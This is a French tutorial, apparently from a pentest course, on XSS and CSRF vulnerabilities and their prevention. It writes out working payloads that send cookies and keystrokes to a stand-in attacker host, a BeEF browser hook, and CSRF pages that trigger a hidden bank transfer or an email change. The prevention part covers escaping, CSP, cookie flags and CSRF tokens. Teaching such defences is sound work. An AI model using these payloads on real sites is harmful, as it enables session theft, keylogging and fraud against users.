Le Cross-Site Scripting (XSS) et le Cross-Site Request Forgery (CSRF) sont deux vulnérabilités omniprésentes dans les applications web modernes. Comprendre leur fonctionnement est indispensable pour les pentesteurs comme pour les développeurs souhaitant sécuriser leurs applications.
XSS : Cross-Site Scripting
Le XSS permet à un attaquant d’injecter du code JavaScript malveillant qui s’exécute dans le navigateur d’autres utilisateurs.
XSS réfléchi (Reflected)
Le payload est inclus dans la requête HTTP et renvoyé immédiatement par le serveur. Nécessite un lien piégé.
<!-- URL malveillante -->
https://site.fr/search?q=<script>document.location='http://attaquant.fr/steal?c='+document.cookie</script>
<!-- Payload pour voler les cookies -->
<script>new Image().src='http://attaquant.fr/?'+document.cookie;</script>
XSS stocké (Stored/Persistent)
Le payload est sauvegardé en base de données et s’exécute pour chaque visiteur. Le plus dangereux.
<!-- Commentaire malveillant soumis -->
Super article !<script>fetch('http://attaquant.fr/?'+btoa(document.cookie))</script>
<!-- Keylogger via XSS stocké -->
<script>
document.onkeypress = function(e) {
fetch('http://attaquant.fr/log?k='+e.key);
}
</script>
XSS DOM-based
La vulnérabilité est dans le JavaScript côté client qui manipule le DOM sans sanitisation.
// Code vulnérable : document.write avec données non sanitisées
document.write("Bonjour " + location.hash.substring(1));
// URL : https://site.fr/#<img src=x onerror=alert(1)>
BeEF : Browser Exploitation Framework
# Lancer BeEF
cd /usr/share/beef-xss
sudo ./beef
# Hook JS à injecter via XSS
<script src="http://192.168.1.100:3000/hook.js"></script>
# BeEF permet ensuite de contrôler le navigateur de la victime
CSRF : Cross-Site Request Forgery
Le CSRF force un utilisateur authentifié à exécuter des actions non désirées sur une application où il est connecté.
<!-- Page malveillante hébergée par l'attaquant -->
<!-- Déclenche un virement à l'insu de la victime connectée à sa banque -->
<img src="https://banque.fr/transfert?montant=1000&compte=attaquant"
width="0" height="0">
<!-- CSRF via formulaire auto-soumis -->
<form action="https://site.fr/change-email" method="POST" id="f">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>document.getElementById('f').submit();</script>
Prévention XSS
// PHP : échapper toutes les sorties HTML
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
// Content Security Policy (en-tête HTTP)
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{NONCE}'");
// Cookie httpOnly (inaccessible via JavaScript)
setcookie("session", $token, ["httponly" => true, "secure" => true, "samesite" => "Strict"]);
Prévention CSRF
// Token CSRF dans chaque formulaire
$token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $token;
// Dans le formulaire HTML
<input type="hidden" name="csrf_token" value="<?= $token ?>">
// Vérification côté serveur
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF détecté');
}
// SameSite=Strict : protection moderne via cookie
setcookie("session", $token, ["samesite" => "Strict"]);
- XSS stocké est le plus dangereux : un seul payload touche tous les visiteurs
- CSRF force des actions légitimes à l’insu de l’utilisateur connecté
- Protection XSS : échapper les sorties + CSP + cookies httpOnly
- Protection CSRF : token aléatoire par formulaire + SameSite cookie
📚 Formation : Cybersécurité intermédiaire : pentest et défense avancée

-
Add a note